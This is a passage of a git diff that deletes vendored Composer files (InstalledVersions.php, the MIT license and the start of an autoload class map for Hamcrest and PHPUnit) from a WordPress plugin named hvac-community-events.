string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array}|array{}|null - */ - private static $installed; - - /** - * @var bool - */ - private static $installedIsLocalDir; - - /** - * @var bool|null - */ - private static $canGetVendors; - - /** - * @var array[] - * @psalm-var array}> - */ - private static $installedByVendor = array(); - - /** - * Returns a list of all package names which are present, either by being installed, replaced or provided - * - * @return string[] - * @psalm-return list - */ - public static function getInstalledPackages() - { - $packages = array(); - foreach (self::getInstalled() as $installed) { - $packages[] = array_keys($installed['versions']); - } - - if (1 === \count($packages)) { - return $packages[0]; - } - - return array_keys(array_flip(\call_user_func_array('array_merge', $packages))); - } - - /** - * Returns a list of all package names with a specific type e.g. 'library' - * - * @param string $type - * @return string[] - * @psalm-return list - */ - public static function getInstalledPackagesByType($type) - { - $packagesByType = array(); - - foreach (self::getInstalled() as $installed) { - foreach ($installed['versions'] as $name => $package) { - if (isset($package['type']) && $package['type'] === $type) { - $packagesByType[] = $name; - } - } - } - - return $packagesByType; - } - - /** - * Checks whether the given package is installed - * - * This also returns true if the package name is provided or replaced by another package - * - * @param string $packageName - * @param bool $includeDevRequirements - * @return bool - */ - public static function isInstalled($packageName, $includeDevRequirements = true) - { - foreach (self::getInstalled() as $installed) { - if (isset($installed['versions'][$packageName])) { - return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false; - } - } - - return false; - } - - /** - * Checks whether the given package satisfies a version constraint - * - * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call: - * - * Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3') - * - * @param VersionParser $parser Install composer/semver to have access to this class and functionality - * @param string $packageName - * @param string|null $constraint A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package - * @return bool - */ - public static function satisfies(VersionParser $parser, $packageName, $constraint) - { - $constraint = $parser->parseConstraints((string) $constraint); - $provided = $parser->parseConstraints(self::getVersionRanges($packageName)); - - return $provided->matches($constraint); - } - - /** - * Returns a version constraint representing all the range(s) which are installed for a given package - * - * It is easier to use this via isInstalled() with the $constraint argument if you need to check - * whether a given version of a package is installed, and not just whether it exists - * - * @param string $packageName - * @return string Version constraint usable with composer/semver - */ - public static function getVersionRanges($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - $ranges = array(); - if (isset($installed['versions'][$packageName]['pretty_version'])) { - $ranges[] = $installed['versions'][$packageName]['pretty_version']; - } - if (array_key_exists('aliases', $installed['versions'][$packageName])) { - $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']); - } - if (array_key_exists('replaced', $installed['versions'][$packageName])) { - $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']); - } - if (array_key_exists('provided', $installed['versions'][$packageName])) { - $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']); - } - - return implode(' || ', $ranges); - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @param string $packageName - * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present - */ - public static function getVersion($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - if (!isset($installed['versions'][$packageName]['version'])) { - return null; - } - - return $installed['versions'][$packageName]['version']; - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @param string $packageName - * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present - */ - public static function getPrettyVersion($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - if (!isset($installed['versions'][$packageName]['pretty_version'])) { - return null; - } - - return $installed['versions'][$packageName]['pretty_version']; - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @param string $packageName - * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference - */ - public static function getReference($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - if (!isset($installed['versions'][$packageName]['reference'])) { - return null; - } - - return $installed['versions'][$packageName]['reference']; - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @param string $packageName - * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path. - */ - public static function getInstallPath($packageName) - { - foreach (self::getInstalled() as $installed) { - if (!isset($installed['versions'][$packageName])) { - continue; - } - - return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null; - } - - throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed'); - } - - /** - * @return array - * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool} - */ - public static function getRootPackage() - { - $installed = self::getInstalled(); - - return $installed[0]['root']; - } - - /** - * Returns the raw installed.php data for custom implementations - * - * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect. - * @return array[] - * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} - */ - public static function getRawData() - { - @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED); - - if (null === self::$installed) { - // only require the installed.php file if this file is loaded from its dumped location, - // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 - if (substr(__DIR__, -8, 1) !== 'C') { - self::$installed = include __DIR__ . '/installed.php'; - } else { - self::$installed = array(); - } - } - - return self::$installed; - } - - /** - * Returns the raw data of all installed.php which are currently loaded for custom implementations - * - * @return array[] - * @psalm-return list}> - */ - public static function getAllRawData() - { - return self::getInstalled(); - } - - /** - * Lets you reload the static array from another file - * - * This is only useful for complex integrations in which a project needs to use - * this class but then also needs to execute another project's autoloader in process, - * and wants to ensure both projects have access to their version of installed.php. - * - * A typical case would be PHPUnit, where it would need to make sure it reads all - * the data it needs from this class, then call reload() with - * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure - * the project in which it runs can then also use this class safely, without - * interference between PHPUnit's dependencies and the project's dependencies. - * - * @param array[] $data A vendor/composer/installed.php data set - * @return void - * - * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $data - */ - public static function reload($data) - { - self::$installed = $data; - self::$installedByVendor = array(); - - // when using reload, we disable the duplicate protection to ensure that self::$installed data is - // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not, - // so we have to assume it does not, and that may result in duplicate data being returned when listing - // all installed packages for example - self::$installedIsLocalDir = false; - } - - /** - * @return array[] - * @psalm-return list}> - */ - private static function getInstalled() - { - if (null === self::$canGetVendors) { - self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders'); - } - - $installed = array(); - $copiedLocalDir = false; - - if (self::$canGetVendors) { - $selfDir = strtr(__DIR__, '\\', '/'); - foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) { - $vendorDir = strtr($vendorDir, '\\', '/'); - if (isset(self::$installedByVendor[$vendorDir])) { - $installed[] = self::$installedByVendor[$vendorDir]; - } elseif (is_file($vendorDir.'/composer/installed.php')) { - /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $required */ - $required = require $vendorDir.'/composer/installed.php'; - self::$installedByVendor[$vendorDir] = $required; - $installed[] = $required; - if (self::$installed === null && $vendorDir.'/composer' === $selfDir) { - self::$installed = $required; - self::$installedIsLocalDir = true; - } - } - if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) { - $copiedLocalDir = true; - } - } - } - - if (null === self::$installed) { - // only require the installed.php file if this file is loaded from its dumped location, - // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937 - if (substr(__DIR__, -8, 1) !== 'C') { - /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array} $required */ - $required = require __DIR__ . '/installed.php'; - self::$installed = $required; - } else { - self::$installed = array(); - } - } - - if (self::$installed !== array() && !$copiedLocalDir) { - $installed[] = self::$installed; - } - - return $installed; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/LICENSE deleted file mode 100644 index f27399a0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ - -Copyright (c) Nils Adermann, Jordi Boggiano - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_classmap.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_classmap.php deleted file mode 100644 index d6613e9e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_classmap.php +++ /dev/null @@ -1,712 +0,0 @@ - $vendorDir . '/composer/InstalledVersions.php', - 'Hamcrest\\Arrays\\IsArray' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArray.php', - 'Hamcrest\\Arrays\\IsArrayContaining' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContaining.php', - 'Hamcrest\\Arrays\\IsArrayContainingInAnyOrder' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInAnyOrder.php', - 'Hamcrest\\Arrays\\IsArrayContainingInOrder' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingInOrder.php', - 'Hamcrest\\Arrays\\IsArrayContainingKey' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKey.php', - 'Hamcrest\\Arrays\\IsArrayContainingKeyValuePair' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayContainingKeyValuePair.php', - 'Hamcrest\\Arrays\\IsArrayWithSize' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/IsArrayWithSize.php', - 'Hamcrest\\Arrays\\MatchingOnce' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/MatchingOnce.php', - 'Hamcrest\\Arrays\\SeriesMatchingOnce' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/SeriesMatchingOnce.php', - 'Hamcrest\\AssertionError' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/AssertionError.php', - 'Hamcrest\\BaseDescription' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/BaseDescription.php', - 'Hamcrest\\BaseMatcher' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/BaseMatcher.php', - 'Hamcrest\\Collection\\IsEmptyTraversable' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsEmptyTraversable.php', - 'Hamcrest\\Collection\\IsTraversableWithSize' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Collection/IsTraversableWithSize.php', - 'Hamcrest\\Core\\AllOf' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/AllOf.php', - 'Hamcrest\\Core\\AnyOf' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/AnyOf.php', - 'Hamcrest\\Core\\CombinableMatcher' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/CombinableMatcher.php', - 'Hamcrest\\Core\\DescribedAs' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/DescribedAs.php', - 'Hamcrest\\Core\\Every' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Every.php', - 'Hamcrest\\Core\\HasToString' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/HasToString.php', - 'Hamcrest\\Core\\Is' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Is.php', - 'Hamcrest\\Core\\IsAnything' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsAnything.php', - 'Hamcrest\\Core\\IsCollectionContaining' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsCollectionContaining.php', - 'Hamcrest\\Core\\IsEqual' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsEqual.php', - 'Hamcrest\\Core\\IsIdentical' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsIdentical.php', - 'Hamcrest\\Core\\IsInstanceOf' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsInstanceOf.php', - 'Hamcrest\\Core\\IsNot' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNot.php', - 'Hamcrest\\Core\\IsNull' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsNull.php', - 'Hamcrest\\Core\\IsSame' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsSame.php', - 'Hamcrest\\Core\\IsTypeOf' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/IsTypeOf.php', - 'Hamcrest\\Core\\Set' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/Set.php', - 'Hamcrest\\Core\\ShortcutCombination' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/ShortcutCombination.php', - 'Hamcrest\\Description' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Description.php', - 'Hamcrest\\DiagnosingMatcher' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/DiagnosingMatcher.php', - 'Hamcrest\\FeatureMatcher' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/FeatureMatcher.php', - 'Hamcrest\\Internal\\SelfDescribingValue' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Internal/SelfDescribingValue.php', - 'Hamcrest\\Matcher' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matcher.php', - 'Hamcrest\\MatcherAssert' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/MatcherAssert.php', - 'Hamcrest\\Matchers' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matchers.php', - 'Hamcrest\\NullDescription' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/NullDescription.php', - 'Hamcrest\\Number\\IsCloseTo' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/IsCloseTo.php', - 'Hamcrest\\Number\\OrderingComparison' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/OrderingComparison.php', - 'Hamcrest\\SelfDescribing' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/SelfDescribing.php', - 'Hamcrest\\StringDescription' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/StringDescription.php', - 'Hamcrest\\Text\\IsEmptyString' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEmptyString.php', - 'Hamcrest\\Text\\IsEqualIgnoringCase' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringCase.php', - 'Hamcrest\\Text\\IsEqualIgnoringWhiteSpace' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringWhiteSpace.php', - 'Hamcrest\\Text\\MatchesPattern' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/MatchesPattern.php', - 'Hamcrest\\Text\\StringContains' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContains.php', - 'Hamcrest\\Text\\StringContainsIgnoringCase' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsIgnoringCase.php', - 'Hamcrest\\Text\\StringContainsInOrder' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsInOrder.php', - 'Hamcrest\\Text\\StringEndsWith' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringEndsWith.php', - 'Hamcrest\\Text\\StringStartsWith' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringStartsWith.php', - 'Hamcrest\\Text\\SubstringMatcher' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/SubstringMatcher.php', - 'Hamcrest\\TypeSafeDiagnosingMatcher' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/TypeSafeDiagnosingMatcher.php', - 'Hamcrest\\TypeSafeMatcher' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/TypeSafeMatcher.php', - 'Hamcrest\\Type\\IsArray' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsArray.php', - 'Hamcrest\\Type\\IsBoolean' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsBoolean.php', - 'Hamcrest\\Type\\IsCallable' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsCallable.php', - 'Hamcrest\\Type\\IsDouble' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsDouble.php', - 'Hamcrest\\Type\\IsInteger' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsInteger.php', - 'Hamcrest\\Type\\IsNumeric' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsNumeric.php', - 'Hamcrest\\Type\\IsObject' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsObject.php', - 'Hamcrest\\Type\\IsResource' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsResource.php', - 'Hamcrest\\Type\\IsScalar' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsScalar.php', - 'Hamcrest\\Type\\IsString' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsString.php', - 'Hamcrest\\Util' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Util.php', - 'Hamcrest\\Xml\\HasXPath' => $vendorDir . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Xml/HasXPath.php', - 'PHPUnit\\Exception' => $vendorDir . '/phpunit/phpunit/src/Exception.php', - 'PHPUnit\\Framework\\ActualValueIsNotAnObjectException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ActualValueIsNotAnObjectException.php', - 'PHPUnit\\Framework\\Assert' => $vendorDir . '/phpunit/phpunit/src/Framework/Assert.php', - 'PHPUnit\\Framework\\AssertionFailedError' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/AssertionFailedError.php', - 'PHPUnit\\Framework\\CodeCoverageException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/CodeCoverageException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotAcceptParameterTypeException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotAcceptParameterTypeException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareBoolReturnTypeException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareBoolReturnTypeException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareExactlyOneParameterException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareExactlyOneParameterException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareParameterTypeException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareParameterTypeException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotExistException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotExistException.php', - 'PHPUnit\\Framework\\Constraint\\ArrayHasKey' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/ArrayHasKey.php', - 'PHPUnit\\Framework\\Constraint\\BinaryOperator' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/BinaryOperator.php', - 'PHPUnit\\Framework\\Constraint\\Callback' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Callback.php', - 'PHPUnit\\Framework\\Constraint\\ClassHasAttribute' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasAttribute.php', - 'PHPUnit\\Framework\\Constraint\\ClassHasStaticAttribute' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasStaticAttribute.php', - 'PHPUnit\\Framework\\Constraint\\Constraint' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Constraint.php', - 'PHPUnit\\Framework\\Constraint\\Count' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/Count.php', - 'PHPUnit\\Framework\\Constraint\\DirectoryExists' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/DirectoryExists.php', - 'PHPUnit\\Framework\\Constraint\\Exception' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Exception/Exception.php', - 'PHPUnit\\Framework\\Constraint\\ExceptionCode' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionCode.php', - 'PHPUnit\\Framework\\Constraint\\ExceptionMessage' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessage.php', - 'PHPUnit\\Framework\\Constraint\\ExceptionMessageRegularExpression' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessageRegularExpression.php', - 'PHPUnit\\Framework\\Constraint\\FileExists' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/FileExists.php', - 'PHPUnit\\Framework\\Constraint\\GreaterThan' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/GreaterThan.php', - 'PHPUnit\\Framework\\Constraint\\IsAnything' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/IsAnything.php', - 'PHPUnit\\Framework\\Constraint\\IsEmpty' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/IsEmpty.php', - 'PHPUnit\\Framework\\Constraint\\IsEqual' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqual.php', - 'PHPUnit\\Framework\\Constraint\\IsEqualCanonicalizing' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualCanonicalizing.php', - 'PHPUnit\\Framework\\Constraint\\IsEqualIgnoringCase' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualIgnoringCase.php', - 'PHPUnit\\Framework\\Constraint\\IsEqualWithDelta' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualWithDelta.php', - 'PHPUnit\\Framework\\Constraint\\IsFalse' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Boolean/IsFalse.php', - 'PHPUnit\\Framework\\Constraint\\IsFinite' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Math/IsFinite.php', - 'PHPUnit\\Framework\\Constraint\\IsIdentical' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/IsIdentical.php', - 'PHPUnit\\Framework\\Constraint\\IsInfinite' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Math/IsInfinite.php', - 'PHPUnit\\Framework\\Constraint\\IsInstanceOf' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Type/IsInstanceOf.php', - 'PHPUnit\\Framework\\Constraint\\IsJson' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/IsJson.php', - 'PHPUnit\\Framework\\Constraint\\IsNan' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Math/IsNan.php', - 'PHPUnit\\Framework\\Constraint\\IsNull' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Type/IsNull.php', - 'PHPUnit\\Framework\\Constraint\\IsReadable' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsReadable.php', - 'PHPUnit\\Framework\\Constraint\\IsTrue' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Boolean/IsTrue.php', - 'PHPUnit\\Framework\\Constraint\\IsType' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Type/IsType.php', - 'PHPUnit\\Framework\\Constraint\\IsWritable' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsWritable.php', - 'PHPUnit\\Framework\\Constraint\\JsonMatches' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/JsonMatches.php', - 'PHPUnit\\Framework\\Constraint\\JsonMatchesErrorMessageProvider' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/JsonMatchesErrorMessageProvider.php', - 'PHPUnit\\Framework\\Constraint\\LessThan' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/LessThan.php', - 'PHPUnit\\Framework\\Constraint\\LogicalAnd' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalAnd.php', - 'PHPUnit\\Framework\\Constraint\\LogicalNot' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalNot.php', - 'PHPUnit\\Framework\\Constraint\\LogicalOr' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalOr.php', - 'PHPUnit\\Framework\\Constraint\\LogicalXor' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalXor.php', - 'PHPUnit\\Framework\\Constraint\\ObjectEquals' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectEquals.php', - 'PHPUnit\\Framework\\Constraint\\ObjectHasAttribute' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasAttribute.php', - 'PHPUnit\\Framework\\Constraint\\ObjectHasProperty' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasProperty.php', - 'PHPUnit\\Framework\\Constraint\\Operator' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php', - 'PHPUnit\\Framework\\Constraint\\RegularExpression' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/RegularExpression.php', - 'PHPUnit\\Framework\\Constraint\\SameSize' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/SameSize.php', - 'PHPUnit\\Framework\\Constraint\\StringContains' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/StringContains.php', - 'PHPUnit\\Framework\\Constraint\\StringEndsWith' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/StringEndsWith.php', - 'PHPUnit\\Framework\\Constraint\\StringMatchesFormatDescription' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/StringMatchesFormatDescription.php', - 'PHPUnit\\Framework\\Constraint\\StringStartsWith' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/String/StringStartsWith.php', - 'PHPUnit\\Framework\\Constraint\\TraversableContains' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContains.php', - 'PHPUnit\\Framework\\Constraint\\TraversableContainsEqual' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsEqual.php', - 'PHPUnit\\Framework\\Constraint\\TraversableContainsIdentical' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsIdentical.php', - 'PHPUnit\\Framework\\Constraint\\TraversableContainsOnly' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsOnly.php', - 'PHPUnit\\Framework\\Constraint\\UnaryOperator' => $vendorDir . '/phpunit/phpunit/src/Framework/Constraint/Operator/UnaryOperator.php', - 'PHPUnit\\Framework\\CoveredCodeNotExecutedException' => $vendorDir . '/phpunit/phpunit/src/Framework/Exception/CoveredCodeNotExecutedException.php', - 'PHPUnit\\Framework\\DataProviderTestSuite' => $vendorDir . '/phpunit/phpunit/src/Framework/DataProviderTestSuite.php', - 